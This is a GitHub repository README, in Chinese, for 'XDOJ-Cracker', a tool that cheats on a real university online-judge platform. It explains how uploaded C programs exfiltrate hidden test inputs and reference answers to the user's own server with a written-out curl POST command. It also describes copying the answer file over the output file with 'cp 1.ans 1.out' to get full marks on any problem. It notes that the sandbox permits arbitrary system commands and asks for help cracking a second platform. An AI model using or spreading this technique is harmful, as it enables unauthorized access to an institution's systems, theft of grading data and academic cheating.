Skip to content

A cracker for XDOJ on "cvnis.xidian.edu.cn", which can spoof test samples and answers on this platform.

Notifications You must be signed in to change notification settings

MTDoven/XDOJ-Cracker

Repository files navigation

XDOJ-爆破者

这是一个可以用于在 cvnis.xidian.edu.cn 这个平台上骗取测试样例和示例答案的工具。它由需要上传的程序 .c 程序和本地运行的 .py 程序两部分组成。在这个平台升级之前,我想这个工具是可以奏效的。

使用方法

1.运行 ReceiveRequest

双击执行 ReceiveRequest.exe 如果看到 Local IP 说明运行正常。
(这个文件由 ReceiveRequest.py 打包编译而来,可能会运行出错。如果出错,则手动执行ReceiveRequest.py 文件即可。)

2.上传指定文件

上传之前有两处需要修改

  1. 确保你自己连接了西电的校园网,而不是其他网络。
  2. 将程序中的 ip[LENGTH]="10.198.67.44:8080";双引号里面的部分替换成第一步执行的程序中看到的 Local IP 。
  3. 将程序中 int number_of_examples = 3; 的数字改成你本题的测试用例数目,如果你并不知道有几个测试样例,你只需要把这个数字设置的稍微大一点大约10左右即可。

根据需要上传下面四个文件中的一个
AlwaysRight.c 可以在这个平台上任意一道题目中获得满分。很无赖,谨慎使用。
GetTestExample.c 可以获得所有的测试用例,在刚才执行的ReceiveRequest.exe中查看。
GetAnswer.c 可以获得所有的测试标准答案,在刚才的ReceiveRequest.exe中查看。
GetTestExample_complex.c 可以自定义输入的读入方式。当自动获得测试用例出现混乱时使用。

爆破原理

根据OJ系统的工作原理,它将一个在1.in文件里的信息作为输入流读入程序,然后将程序的输出流保存到1.out文件中,另外在当前目录下还有一个1.ans文件里保存了标准答案。当你的程序执行完成后,OJ系统将会比较1.out文件和1.ans文件里的信息是否一致,从而判断你的程序是否正确。

因此这个程序通过读取1.in文件里的信息,并且通过 curl --data-binary @./1.in http://IP:port/Receiver?message=Input这样一条 Terminal 命令,将文件中的信息用一个 POST 请求发送到一个指定的服务器,而这个服务器正是我们启动的 ReceiveRequest.exe 这个程序。同理我们可以获得1.ans文件中的标准答案。

AlwaysRight.c程序则是通过直接复制1.ans文件到当前目录并且重命名为1.out。也就是执行了这样一条命令cp 1.ans 1.out,从而就保证了我们的输出文件一定是标准答案。

说明与警告

此程序仅用于深入学习了解OJ系统的工作原理,用来获得自己有疑惑的题目的测试用例和答案。或者找出一些答案错误的题目(学长们多年都未能解决的问题)

由于可以操作系统命令行,理论上可以进行一系列破坏性操作。
但请一定不要这样做,但请一定不要这样做,但请一定不要这样做

进一步的工作

此程序仅仅适用于cvnis.xidian.edu.cn,并不适用于http://39.98.193.72/xdoj-ssm/login.jsp这里,这个平台几乎删除或者重写了所有能调用系统命令行的方法,我尝试过直接写一个能联网的程序,或者手动嵌入部分被删改的代码,但是都没能取得很好的结果。如果有大佬完成了这个平台的爆破请一定让我学习一下!

About

A cracker for XDOJ on "cvnis.xidian.edu.cn", which can spoof test samples and answers on this platform.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published